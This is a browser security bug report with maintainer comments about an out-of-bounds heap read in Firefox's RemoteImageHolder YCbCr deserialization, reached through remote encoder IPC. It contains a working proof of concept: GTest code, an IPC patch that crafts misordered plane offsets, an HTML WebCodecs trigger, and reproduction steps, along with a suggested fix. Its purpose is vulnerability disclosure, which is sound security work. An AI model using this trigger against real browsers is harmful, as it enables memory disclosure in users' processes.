2016357 - RemoteImageHolder YCbCr Zero-Size Bypass OOB Read

Status: RESOLVED DUPLICATE of bug 2014857

(Core :: Graphics, defect)

Description

[Sajeeb Lohani]

Compromised content process -> RDD/utility process via PRemoteEncoder::Encode.

RemoteImageHolder::DeserializeImage (RemoteImageHolder.cpp:85) checks descriptorSize > bufferSize, but ComputeYCbCrBufferSize (ImageDataSerializer.cpp:80-113) returns 0 for invalid descriptors (misordered offsets, CheckedInt overflow). Since 0 > bufferSize is always false, validation passes. Attacker-controlled offsets then produce OOB pointers via GetYChannel (buffer + yOffset) at ImageDataSerializer.cpp:272. CopyPlane (ImageContainer.cpp:889) does memcpy(dst, src, height * stride) from those pointers, reading past the shmem allocation.

The Bug

ComputeYCbCrBufferSize (ImageDataSerializer.cpp:100-112) enforces plane ordering:

if (!yEnd.isValid() || !cbEnd.isValid() || !crEnd.isValid() ||
    yEnd.value() > aCbOffset || cbEnd.value() > aCrOffset) {
  return 0;  // returns 0, not an error
}

The caller at RemoteImageHolder.cpp:85:

if (NS_WARN_IF(descriptorSize > bufferSize)) {  // 0 > N is always false
  return nullptr;
}

With misordered offsets yOffset=80, cbOffset=0, crOffset=4: yEnd = 80+16 = 96 > 0, returns 0, passes the check. GetYChannel returns buffer + 80, 16 bytes past a 64-byte shmem.

ASAN Proof

==55458==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x606000000310
READ of size 16 at 0x606000000310 thread T0
    #0 in __asan_memcpy

0x606000000310 is located 16 bytes after 64-byte region [0x6060000002c0,0x606000000300)
SUMMARY: AddressSanitizer: heap-buffer-overflow in main

PoC

gfx/tests/gtest/TestRemoteImageHolderOOB.cpp (tests 1-2):

/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
/* This Source Code Form is subject to the terms of the Mozilla Public
 * License, v. 2.0. If a copy of the MPL was not distributed with this
 * file, You can obtain one at http://mozilla.org/MPL/2.0/. */

#include "gtest/gtest.h"

#include "ImageContainer.h"
#include "mozilla/gfx/Types.h"
#include "mozilla/layers/ImageDataSerializer.h"
#include "mozilla/UniquePtr.h"

using namespace mozilla;
using namespace mozilla::gfx;
using namespace mozilla::layers;

TEST(RemoteImageHolderOOB, ZeroSizeBypassCopyData)
{
  const int32_t yStride = 4;
  const int32_t cbCrStride = 2;

  // Misordered offsets: yEnd(80+16=96) > cbOffset(0) -> returns 0.
  const uint32_t yOffset = 80;
  const uint32_t cbOffset = 0;
  const uint32_t crOffset = 4;

  uint32_t descriptorSize = ImageDataSerializer::ComputeYCbCrBufferSize(
      IntSize(4, 4), yStride, IntSize(2, 2), cbCrStride,
      yOffset, cbOffset, crOffset);

  ASSERT_EQ(descriptorSize, 0u);

  const size_t bufferSize = 64;
  ASSERT_FALSE(descriptorSize > bufferSize);  // 0 > 64 is false

  UniquePtr<uint8_t[]> buffer(new uint8_t[bufferSize]);
  memset(buffer.get(), 0x41, bufferSize);

  PlanarYCbCrData pData;
  pData.mYChannel = buffer.get() + yOffset;  // buffer + 80, past 64-byte alloc
  pData.mYStride = yStride;
  pData.mYSkip = 0;
  pData.mCbChannel = buffer.get() + cbOffset;
  pData.mCrChannel = buffer.get() + crOffset;
  pData.mCbCrStride = cbCrStride;
  pData.mCbSkip = 0;
  pData.mCrSkip = 0;
  pData.mColorDepth = ColorDepth::COLOR_8;
  pData.mYUVColorSpace = YUVColorSpace::BT601;
  pData.mColorRange = ColorRange::LIMITED;
  pData.mChromaSubsampling = ChromaSubsampling::HALF_WIDTH_AND_HEIGHT;
  pData.mPictureRect = IntRect(0, 0, 4, 4);

  // ASAN: heap-buffer-overflow READ of size 16 at buffer+80
  auto recycleBin = MakeRefPtr<BufferRecycleBin>();
  RefPtr<RecyclingPlanarYCbCrImage> image =
      new RecyclingPlanarYCbCrImage(recycleBin);
  nsresult rv = image->CopyData(pData);
  (void)rv;
}

TEST(RemoteImageHolderOOB, LargeOffsetOOBRead)
{
  const int32_t yStride = 16;
  const int32_t cbCrStride = 8;

  const uint32_t yOffset = 4096;
  const uint32_t cbOffset = 0;
  const uint32_t crOffset = 64;

  uint32_t descriptorSize = ImageDataSerializer::ComputeYCbCrBufferSize(
      IntSize(16, 16), yStride, IntSize(8, 8), cbCrStride,
      yOffset, cbOffset, crOffset);

  ASSERT_EQ(descriptorSize, 0u);

  const size_t bufferSize = 256;
  ASSERT_FALSE(descriptorSize > bufferSize);

  UniquePtr<uint8_t[]> buffer(new uint8_t[bufferSize]);
  memset(buffer.get(), 0x42, bufferSize);

  PlanarYCbCrData pData;
  pData.mYChannel = buffer.get() + yOffset;
  pData.mYStride = yStride;
  pData.mYSkip = 0;
  pData.mCbChannel = buffer.get() + cbOffset;
  pData.mCrChannel = buffer.get() + crOffset;
  pData.mCbCrStride = cbCrStride;
  pData.mCbSkip = 0;
  pData.mCrSkip = 0;
  pData.mColorDepth = ColorDepth::COLOR_8;
  pData.mYUVColorSpace = YUVColorSpace::BT601;
  pData.mColorRange = ColorRange::LIMITED;
  pData.mChromaSubsampling = ChromaSubsampling::HALF_WIDTH_AND_HEIGHT;
  pData.mPictureRect = IntRect(0, 0, 16, 16);

  // ASAN: heap-buffer-overflow READ, 3840 bytes past 256-byte allocation
  auto recycleBin = MakeRefPtr<BufferRecycleBin>();
  RefPtr<RecyclingPlanarYCbCrImage> image =
      new RecyclingPlanarYCbCrImage(recycleBin);
  nsresult rv = image->CopyData(pData);
  (void)rv;
}

Run: ./mach gtest "RemoteImageHolderOOB.ZeroSizeBypassCopyData:RemoteImageHolderOOB.LargeOffsetOOBRead"

Fix

Reject descriptorSize == 0:

if (descriptorSize == 0 || descriptorSize > bufferSize) {
  return nullptr;
}

Comment 1

[Andrew McCreight [:mccr8]]

Possible dupe of bug 2014857.

Comment 2

[Sajeeb Lohani]

OOB heap read in RemoteImageHolder::DeserializeImage via crafted YCbCrDescriptor offsets. A compromised content process sends a PRemoteEncoder::Encode message with misordered plane offsets that make ComputeYCbCrBufferSize return 0. The zero passes the descriptorSize > bufferSize check (0 is never greater than anything), so the attacker's offsets flow through to GetYChannel / GetCbChannel / GetCrChannel unchecked. CopyData then does a memcpy from buffer + yOffset where yOffset is past the shmem end. RDD/utility process, ASan confirmed.

The root cause is RemoteImageHolder.cpp:85:

size_t descriptorSize = ImageDataSerializer::ComputeYCbCrBufferSize(
    descriptor.ySize(), descriptor.yStride(), descriptor.cbCrSize(),
    descriptor.cbCrStride(), descriptor.yOffset(), descriptor.cbOffset(),
    descriptor.crOffset());
if (NS_WARN_IF(descriptorSize > bufferSize)) {
  MOZ_ASSERT_UNREACHABLE("Buffer too small to fit descriptor!");
  return nullptr;
}

ComputeYCbCrBufferSize (ImageDataSerializer.cpp:100-112) checks plane ordering: yEnd <= cbOffset, cbEnd <= crOffset. If any of those fail, or if any CheckedInt overflows, it returns 0. Not an error code, just zero. With yOffset=shmemSize+16, cbOffset=0, crOffset=4: yEnd = shmemSize+16+16 > cbOffset(0), returns 0. The guard 0 > bufferSize is false, validation passes. Then GetYChannel at ImageDataSerializer.cpp:272 returns buffer + (shmemSize + 16), which is 16 bytes past the shmem.

The IPC entry is PRemoteEncoder::Encode. Content serializes video frames via ParamTraits<RemoteImageHolder>::Write in the content process, and the RDD/utility process deserializes them via Read and calls DeserializeImage -> TransferToImage -> CopyData. The CopyData path does CopyPlane which is a raw memcpy from the OOB pointer.

On macOS the remote encoder path requires media.use-remote-encoder.video = true (defaults to false). A compromised content process can set prefs or just construct the IPDL message directly.

Content-side IPC patch (apply with git apply):

diff --git a/dom/media/ipc/RemoteImageHolder.cpp b/dom/media/ipc/RemoteImageHolder.cpp
index 85ccfea9e107..839b29f7dbbd 100644
--- a/dom/media/ipc/RemoteImageHolder.cpp
+++ b/dom/media/ipc/RemoteImageHolder.cpp
@@ -185,6 +185,32 @@ RemoteImageHolder::~RemoteImageHolder() {

 /* static */ void IPC::ParamTraits<mozilla::RemoteImageHolder>::Write(
     MessageWriter* aWriter, mozilla::RemoteImageHolder&& aParam) {
+  static bool sTampered = false;
+  if (!sTampered && aParam.mSD &&
+      aParam.mSD->type() ==
+          mozilla::layers::SurfaceDescriptor::TSurfaceDescriptorBuffer) {
+    sTampered = true;
+    auto& sdBuf = aParam.mSD->get_SurfaceDescriptorBuffer();
+    size_t shmemSize = 0;
+    if (sdBuf.data().type() == mozilla::layers::MemoryOrShmem::TShmem) {
+      shmemSize = sdBuf.data().get_Shmem().Size<uint8_t>();
+    }
+    if (shmemSize > 0) {
+      sdBuf.desc() = mozilla::layers::YCbCrDescriptor(
+          mozilla::gfx::IntRect(0, 0, 4, 4),
+          mozilla::gfx::IntSize(4, 4), 4,
+          mozilla::gfx::IntSize(2, 2), 2,
+          (uint32_t)shmemSize + 16,  // yOffset past shmem
+          0,                          // cbOffset (misordered: before yEnd)
+          4,                          // crOffset
+          mozilla::StereoMode::MONO,
+          mozilla::gfx::ColorDepth::COLOR_8,
+          mozilla::gfx::YUVColorSpace::BT601,
+          mozilla::gfx::ColorRange::LIMITED,
+          mozilla::gfx::ChromaSubsampling::HALF_WIDTH_AND_HEIGHT);
+    }
+  }
+
   WriteParam(aWriter, aParam.mSource);
   WriteParam(aWriter, aParam.mSize);
   WriteParam(aWriter, aParam.mColorDepth);

The patch goes in ParamTraits<RemoteImageHolder>::Write, which is the content-side serialization point. On the first SurfaceDescriptorBuffer write, it replaces the buffer descriptor with a crafted YCbCrDescriptor whose yOffset is past the shmem end and whose offsets are misordered (so ComputeYCbCrBufferSize returns 0). The shmem itself is untouched, so the RDD process maps it normally but reads past it.

HTML PoC (requires media.use-remote-encoder.video = true and dom.media.webcodecs.enabled = true in user.js):

<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>RemoteImageHolder YCbCr zero-size bypass OOB</title></head>
<body>
<pre id="log"></pre>
<canvas id="c" width="64" height="64"></canvas>
<script>
const log = document.getElementById('log');
function msg(s) { log.textContent += s + '\n'; }

msg('RemoteImageHolder YCbCr Zero-Size Bypass OOB Read');
msg('Content -> RDD/utility via PRemoteEncoder::Encode');
msg('');

async function tryEncode(codec, width, height) {
  return new Promise((resolve) => {
    msg('Trying codec: ' + codec + ' (' + width + 'x' + height + ')');
    const canvas = document.getElementById('c');
    canvas.width = width;
    canvas.height = height;
    const ctx = canvas.getContext('2d');
    ctx.fillStyle = '#ff0000';
    ctx.fillRect(0, 0, width, height);

    let encoded = false;
    const encoder = new VideoEncoder({
      output: (chunk, meta) => {
        msg('  Encoded chunk: ' + chunk.byteLength + ' bytes');
        encoded = true;
      },
      error: (e) => {
        msg('  Encoder error: ' + e.message);
      }
    });

    try {
      encoder.configure({
        codec: codec,
        width: width,
        height: height,
        bitrate: 1000000,
        framerate: 30,
      });

      for (let i = 0; i < 3; i++) {
        const frame = new VideoFrame(canvas, { timestamp: i * 33333 });
        encoder.encode(frame, { keyFrame: i === 0 });
        frame.close();
      }

      encoder.flush().then(() => {
        if (encoded) {
          msg('  Frames encoded via ' + codec);
          msg('  Check ASan output for heap-buffer-overflow in DeserializeImage.');
        } else {
          msg('  No output from ' + codec);
        }
        encoder.close();
        resolve(encoded);
      }).catch((e) => {
        msg('  Flush error: ' + e.message);
        resolve(false);
      });
    } catch (e) {
      msg('  Configure error: ' + e.message);
      resolve(false);
    }
  });
}

async function run() {
  if (typeof VideoEncoder === 'undefined') {
    msg('VideoEncoder API not available');
    msg('Set dom.media.webcodecs.enabled = true');
    return;
  }

  const codecs = [
    ['avc1.42001E', 64, 64],
    ['vp8', 64, 64],
    ['vp09.00.10.08', 64, 64],
  ];

  for (const [codec, w, h] of codecs) {
    const ok = await tryEncode(codec, w, h);
    if (ok) {
      msg('');
      msg('Done. If patched + remote encoder enabled:');
      msg('  RDD/utility process hit heap-buffer-overflow.');
      break;
    }
  }
}


run();
</script>
</body>
</html>

Steps to reproduce:

1. Apply the patch: git apply pocs/remote_imageholder_zero_size_bypass_ipc.patch
2. Add to profile's user.js:

   user_pref("media.use-remote-encoder.video", true);
   user_pref("dom.media.webcodecs.enabled", true);
   

3. Build with ASan: ./mach build
4. Serve the HTML: cd pocs && python3 -m http.server 8766
5. Run: ASAN_OPTIONS="detect_leaks=0" ./mach run -- http://localhost:8766/remote_imageholder_zero_size_bypass_ipc.html
6. Wait a few seconds for the encoder to initialize and send frames

ASan output (RDD/utility process, thread T12):

==93123==ERROR: AddressSanitizer: SEGV on unknown address 0x000104438010 (pc 0x000184a37504 bp 0x00016f5b71f0 sp 0x00016f5b69a0 T12)
==93123==The signal is caused by a READ memory access.
    #0 0x000184a37504 in _platform_memmove+0x1a4 (/usr/lib/system/libsystem_platform.dylib:arm64+0x3504)
    #1 in mozilla::layers::RecyclingPlanarYCbCrImage::CopyData(mozilla::layers::PlanarYCbCrData const&)+0x594
    #2 in mozilla::RemoteImageHolder::DeserializeImage(mozilla::layers::BufferRecycleBin*)+0x464
    #3 in mozilla::RemoteImageHolder::TransferToImage(mozilla::layers::BufferRecycleBin*)+0xf8
    #4 in mozilla::RemoteMediaDataEncoderParent::RecvEncode(mozilla::EncodedInputIPDL const&, ...)+0x5b8
    #5 in mozilla::PRemoteEncoderParent::OnMessageReceived(IPC::Message const&)+0x9d0
    #6 in mozilla::PRemoteMediaManagerParent::OnMessageReceived(IPC::Message const&)+0x5e4
    #7 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(...)+0x2c8
SUMMARY: AddressSanitizer: SEGV in _platform_memmove+0x1a4

The GTest at gfx/tests/gtest/TestRemoteImageHolderOOB.cpp also covers this (tests ZeroSizeBypassCopyData and LargeOffsetOOBRead), runnable with ./mach gtest "RemoteImageHolderOOB.*".

Comment 3

[Andrew McCreight [:mccr8]]

Looks like media.use-remote-encoder.video is false by default everywhere, while dom.media.webcodecs.enabled is true (at least on desktop).

Comment 4

[Andrew McCreight [:mccr8]]

I can confirm the ASan report with media.use-remote-encoder.video set to true, on MacOS.

Comment 5

[Andrew McCreight [:mccr8]]

Does this require media.use-remote-encoder.video on non-MacOS platforms?

Comment 6

[Sajeeb Lohani]

That's a good question!

Yeah, the encoder path I demonstrated needs media.use-remote-encoder.video = true, which is off by default everywhere.

However, the pref only gates the content-side decision to use remote encoding (PEMFactory.cpp:79, RemoteMediaManagerChild.cpp:893). AllocPRemoteEncoderParent at RemoteMediaManagerParent.cpp:262 unconditionally accepts the actor construction:

already_AddRefed<PRemoteEncoderParent>
RemoteMediaManagerParent::AllocPRemoteEncoderParent(
    const EncoderConfig& aConfig) {
  return MakeAndAddRef<RemoteMediaDataEncoderParent>(aConfig);
}

No pref check or validation on the RDD side. A compromised content process can skip the content-side check and construct PRemoteEncoder directly via SendPRemoteEncoderConstructor. The RDD will allocate the actor and process Encode messages regardless of the pref value.

So the pref doesn't actually prevent exploitation here, it just prevents legitimate content code from using the remote encoding path.

Happy to update the report to clarify this if it helps!

Comment 7

[Andrew McCreight [:mccr8]]

Hmm I think this is a dupe of bug 2014857 after all. That has the same suggested fix even.

Comment 8

[Andrew McCreight [:mccr8]]

Attachment: original patch, plus fake pref wrapper

This is the original patch provided by the reporter, except I also replaced every call to StaticPrefs::media_use_remote_encoder_video() with a new function FakeRemoteEncoderPref(). This function returns true in the content process (simulating a case where the content process has been taken over) and the actual pref value in other processes. With this patch, the test case does not trigger a crash.

Maybe what is going on is that PEMFactory::InitRddPEMs() runs in the RDD process and checks the prefs, so we don't end up with any encoders, so mCurrentPEMs is empty, and PEMFactory::CreateEncoderAsync just ends up doing a rejection promise and doesn't create an encoder.